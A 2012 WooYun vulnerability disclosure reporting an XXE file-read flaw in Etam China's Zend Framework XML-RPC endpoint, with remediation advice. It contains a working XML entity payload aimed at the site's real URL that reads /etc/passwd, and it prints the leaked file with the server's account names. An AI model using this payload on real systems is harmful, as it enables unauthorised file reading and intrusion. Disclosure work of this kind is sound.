当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-09341

漏洞标题:艾格中国(Etam)任意文件读取漏洞

相关厂商:艾格中国(Etam)

漏洞作者: wood

提交时间:2012-07-08 10:53

修复时间:2012-08-22 10:53

公开时间:2012-08-22 10:53

漏洞类型:任意文件遍历/下载

危害等级:中

自评Rank:5

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-07-08: 积极联系厂商并且等待厂商认领中,细节不对外公开
2012-08-22: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

这个问题刚刚提交了,但是没有选择获取邀请麻,请让这个通过。忽略上一个!
zend framework 文件读取漏洞

详细说明:

URL:http://www.etam.com.cn/api/xmlrpc
post数据:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT methodName ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<methodCall>
<methodName>&xxe;</methodName>
</methodCall>

漏洞证明:

passwd文件内容:
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin
abrt:x:173:173::/etc/abrt:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
saslauth:x:499:76:&quot;Saslauthd user&quot;:/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
qpidd:x:498:499:Owner of Qpidd Daemons:/var/lib/qpidd:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
tomcat:x:91:91:Apache Tomcat:/usr/share/tomcat6:/sbin/nologin
webalizer:x:67:67:Webalizer:/var/www/usage:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin
memcached:x:497:496:Memcached daemon:/var/run/memcached:/sbin/nologin
nginx:x:496:495:Nginx web server:/var/lib/nginx:/sbin/nologin
ETapp001:x:500:0::/home/ETapp001:/bin/bash
itochu:x:501:501::/var/www/etam/etam.com.cn/itochu:/sbin/nologin
torry:x:502:502::/home/torry:/sbin/nologin
etamftp:x:503:503::/var/www/etam/etam.com.cn/newsletter:/sbin/nologin
etamftp1:x:504:503::/var/www/etam/etam.com.cn/var:/sbin/nologin
dailycheck:x:505:505::/home/dailycheck:/bin/bash
tom01:x:506:506::/home/tom01:/bin/bash
wangliang01:x:507:507::/home/wangliang01:/bin/bash
hanson01:x:508:508::/home/hanson01:/bin/bash
johny01:x:509:509::/home/johny01:/bin/bash
lilei01:x:510:510::/home/lilei01:/bin/bash
william01:x:511:511::/home/william01:/bin/bash
ellie01:x:512:512::/home/ellie01:/bin/bash
sam01:x:513:513::/home/sam01:/bin/bash
jack01:x:514:514::/home/jack01:/bin/bash
eric01:x:515:515::/home/eric01:/bin/bash
torry01:x:516:516::/home/torry01:/bin/bash
nagios:x:517:517::/home/nagios:/bin/bash


修复方案:

1.检查所使用的底层xml解析库,默认禁止外部实体的解析;
2.更新补丁:
存在漏洞的版本: 1.11.11
1.12.0 RC1
2.0.0 beta4
等更早版本
漏洞修补后的版本: 1.11.12
1.12.0 RC2
2.0.0 beta5
修补方案:根据相对应的版本进行升级
升级地址链接: http://framework.zend.com/
http://framework.zend.com/download/latest
http://packages.zendframework.com/

版权声明:转载请注明来源 wood@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝